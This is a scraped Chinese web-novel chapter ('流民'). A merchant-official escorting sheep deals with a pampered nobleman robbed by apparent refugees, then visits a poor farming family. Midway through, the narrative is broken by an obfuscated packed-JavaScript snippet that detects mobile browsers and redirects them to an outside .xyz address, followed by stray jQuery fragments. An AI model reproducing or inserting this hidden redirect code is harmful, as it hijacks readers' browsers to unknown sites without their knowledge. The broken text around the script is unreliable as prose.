默认冷灰
24号文字
方正启体

83. 流民

作者:成何本书字数:K更新时间:
    林茨憬缓缓点头:“对。”


    象寻星笑了,“陛下说,以后的日子可能会愈发艰难,在极难的情况下,人会丧失一部分良知,若是此时需要有人被拉出来泄愤,或是...那一定是势弱的人。”


    “就是我们。”林茨憬接上。


    她不知道什么样的形势会被称之为极难,总不会是末日吧。


    但不妨碍她生出一股豪情壮志。


    好想开启像武则天一样的时代。


    哪怕只能盛极一时,至少能爽上一回。


    两人就这样在銮驾里聊得昏天暗地,不知天地为何物。


    末了,象寻星再问道。


    “那通房如何了?”她好似随意一问。


    “我带她走了,让她离开了那里,我安排了一个好去处。”


    “她高兴吗?”


    林茨憬有些自矜,“那是当然,做人嘛,最重要的就是——”


    她对上象寻星的眼睛,“做一个人。”


    真好。


    象寻星默默地笑起来。


    看着林茨憬,对方拨开了橘子递给了她几瓣。


    新交的朋友很好,如果小明和观复她们也在就更好了。


    正在巴郡的倪观复打了几个喷嚏。


    她揉了揉鼻子,甩了下脑袋保持清醒。


    倪观复商队回程之路有些难走。


    如果只是商队,最多十来日就能到南都,但她们从六月底出发,到现在也才走了一半多路。


    细毛羊是生活在干旱苦寒之地,现在天气渐渐炎热,这些羊就明显的水土不服起来。


    又是消瘦,又是不愿走,甚至有的吃不进去食物。


    而这次西行之旅最主要的目的就是细毛羊,这可让倪观复有些焦头烂额了。


    她擅长行商擅长与人打交道,可她真的不擅长养羊啊。


    为了照拂这些羊,倪观复使出了十八般武艺,天天跟孙子照顾祖宗般伺候在羊身边。


    这是羊吗,这是她的命啊!


    经过巴郡的涪陵县,这是她们商队第三次长时间停留修整,长达三天的修整,勉强让细毛羊接受水土的变化。


    倪观复派人手前去县里寻医者,但大部分医者都不会看动物,即便勉强一治,也不过是些清热的中药汤剂,羊都不大喝,勉强灌下反倒刺激羊了,竟是焉得更厉害。


    羊不爽快。


    倪观复也不爽快。


    整个商队都不爽快。


    但是有一人比她们还不爽快了。


    那就是随着商队回南都的兆原覃。


    身为武都郡郡守之子,他可谓是锦衣玉食、娇生惯养,一路上随羊走,已经极大地挑战他的忍耐,何况现在还要因为羊不高兴就停下。


    简直荒谬!


    几匹羊而已,难道比他还金贵?


    不耐的兆原覃带着十来个女使十来个小厮出门避暑了。


    巴郡山多水多,树林间瀑布飞流,溅起水汽,清凉无比,让人心旷神怡。


    兆原覃哪还管得了其他,先玩了再说。


    玩的过程是极愉快的。


    他从倪观复那里要来了不少香料,从河里捞上的鱼甚是肥美,简单炙烤后,在焦黄油润的鱼皮上一撒佐料,简直勾得人忘了自己是谁。


    直到日头将落,女使提醒他该回去,他才不情愿地起身。


    这倪观复虽是司贸使,却不过小官。


    他阿耶是三品郡守,将来靠荫封做官至少也是五品起。


    她却待自己如此轻慢。


    兆原覃承认,在对方忙得不可开交时出来玩,确实存了显示自己与她们不同的心理。


    但是没想到报应来得这么快。


    倪观复看到一身狼狈的兆原覃时沉默了许久。


    她有些迟疑道:“你这是,掉进山洞了?”


    这是委婉的说法,其实对方看上去更像被打劫了。


    但是应该不会吧。


    兆原覃气得话都说不出来。


    实在是不知如何开口,他猛地一摔袖,跑进了客栈。


    女使只好上前解释。


    事情过程是这样的,兆原覃一行人游行于郊外,正是随意采景赏景之时,却遇到一队流民。


    兆原覃不善谋略心思也浅,连与对方周旋都做不到,闪避不及,被抢走了衣服食物,连女使都被掳走两三个。


    气急败坏的他既追赶不上,又不能抢回女使。


    最后只能红着眼回来找救兵。


    倪观复扶额,实在心累。


    她摆摆手,叫人去喊县令。


    “还能如何,自然是去将人找回来,这成什么样子了。”


    倪观复无奈,倒不全是为了兆原覃的面子。


    只是,若是叫流民随便欺辱了他,这不明晃晃打南朝的脸吗。


    兆原覃听说她喊了县令,立即起身,跟着一起去了。


    只可惜,现在过来属实是刻舟求剑。


    那群来去如风的流民早已不知所踪,气得兆原覃原地跳脚。


    “他们、他们,”兆原覃指着远处的山林,“实在是嚣张至极!”


    “这群贱民!”


    不管兆原覃如何气愤,倪观复倒是派人去周围村庄打探消息。


    县令跟在一旁,拿着袖子擦汗,很是忐忑。


    巴郡地势复杂,不便种粮食,本就不如其他郡,再得罪了司贸使和兆郡守的儿子,这可如何是好。


    急得他嘴角长泡。


    这年头日子难过,南郡尚好,其他郡只能说勉强。


    巴郡离南都虽不远,但大山隔断,交往不便,也就联系不紧密,生产生活都落后许多,日子比江陵郡豫章郡等地都难过许多。


    听着禁军的汇报,倪观复心下已有决断。


    若是流民常来,农庄就不可能安心耕种。


    但这附近的村庄都是一派忙碌之景,看上去没有被影响到。


    若是流民只是偶然经过,也没道理流民不劫掠村庄直奔着兆原覃去。


    联系到现实,倪观复垂眸叹息,微微抬手,示意其他人先回去。


    她转身看着县令,“许县令,我四处走走,您先回去罢,此事,很快就会解决了。”


    许县令不知她葫芦里卖的什么药,但只要能解决就行。


    他有些拘谨地笑笑,连连点头。


    她复看了桐花一眼,对方正在看着远处的村民。


    见她看过来,只一个挑眉,就心知肚明对方已然明白。


    道清跟在兆原覃身边,像是哄孩子一般哄着他回去。


    “兆郎君反应极快,当机立断,实在聪明,否则此际或许有更多危险,毕竟流民可不是怕律法之人。”


    见兆原覃害怕,他循循善诱道:“他们或许还有后手,此地不能多留,不若先回客栈,等禁军搜寻再说。”


    “毕竟您身份尊贵,若是他们鱼死网破岂不是容易伤了您的贵体。”


    兆原覃听进去了。


    他沉默,他迟疑。


    思考再三,还是上了马车,道清松下肩膀,心累地对着倪观复点头,也上了马车。


    见人都走得差不多,她才带着几个禁军往附近的村子走去。


    桐花也跟了上来。


    她叼着根不知何处得来的麦芽糖,很是悠闲。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16277333|179717||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “如何说?”倪观复问。


    “若是为了生存,假装流民何妨,”她答。


    倪观复轻笑,“都是面黄肌瘦的,流民与村民,谁分得清。”


    “可不是呢。”


    倪观复叹息,这样的景象,她西行一路上见了不少。


    看见的越多,她就越明白女帝。


    她为什么日夜艰辛的治理国家,为什么要不远千里前往西北深地找细毛羊,为什么要记录西北路上地貌地形,为什么带回各种种子。


    这些看似没什么用处的东西,在女帝手里被组合起来,就是为了让这些人们,这些甘愿做流民模样的百姓,能有一天不再舍出性命博口吃食。


    一郡之地,南郡东边尚能饱腹。


    西边却只能做流民。


    前往田地里,倪观复在一个看上去六七十的老农身边停下。


    苦难使人变老,此朝百姓活到六十以上极少,普通百姓三四十看上去六七十的常有,倪观复也不知对方岁数,但尊敬地拱手问好。


    老农唬了一跳,连忙弯腰让她不要行礼,自己受不住。


    “使不得使不得,大人这是作何?”


    倪观复态度十分温和,“老农莫怕,我也不是什么官,只是途径此地的商人罢了。”


    她笑得和善,语调柔和,安抚下老农的情绪。


    倪观复与他谈天气说作物,说来说去,都不曾提起流民之事,老农却是越发忐忑,不明白贵人的用意。


    须臾,倪观复说自己有些口渴,不知能否前去他家里喝一口水,老农连忙答应,为倪观复引路。


    走过曲折的山路,倪观复看着远处寥寥升起的炊烟。


    这幅场景如同诗画。


    桐花抿嘴,莫名笑起来。


    倪观复看向她问道:“怎么了?”


    “才子诗人爱看这等田园风光,写诗无非道自己只愿归隐,功名利禄皆是粪土,却不知若叫他们身侧无人侍奉,可还能坦荡地说出这话么?”


    桐花这等扶理宫里出来的孩子,说起天地来总是口无遮拦的。


    旁边的老农可不敢附和,只当是戏语。


    走了半晌,终于到了一个位于坡上的屋子。


    这屋子周围是大片裸露的岩石,只有一小条溪流顺着往下,留下青苔。


    老农家里只有一个搓麻绳的老妇和两个看上去不过两三岁的幼儿。


    老妇见两个贵人带着侍从来此,显得局促不安,听贵人的请求,她努力将陶碗擦拭干净,给两个贵人上了一碗水。


    倪观复接过:“多谢您。”


    桐花笑嘻嘻的,“谢谢婆婆。”


    老妇哪敢接,忙摆手。


    见两位贵人皆是不嫌破烂的陶碗,老农夫妇才稍稍放松些。


    倪观复见他们揣着手不安地站在一边,缓声请他们坐下。


    又让禁军掏出些糖块给两孩童。


    “此来巴郡,可寻到的货物不多,不知两位老人家可知此地可有和特产吗?”


    老农迟疑了片刻,“或许贵人可带着些柑橘,我们村里的里正包了地,种的柑橘可好吃。”


    “是吗。老伯平日靠种地为生吗,侍弄田地不易,可能得富余?”


    老农叹息,“这如何能得,丰年尚能糊口,若是饥年,哎。”


    倪观复好似感同身受地安慰他们。


    老农这下可感动得不行,家中子女都离开了外出做工,一年不见得回来一次。


    好容易回来了,只是将孙儿交与他们。


    难得有人来关心一二,自然是感动至极。


    老妇情到深处,流着泪叹家中艰辛。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)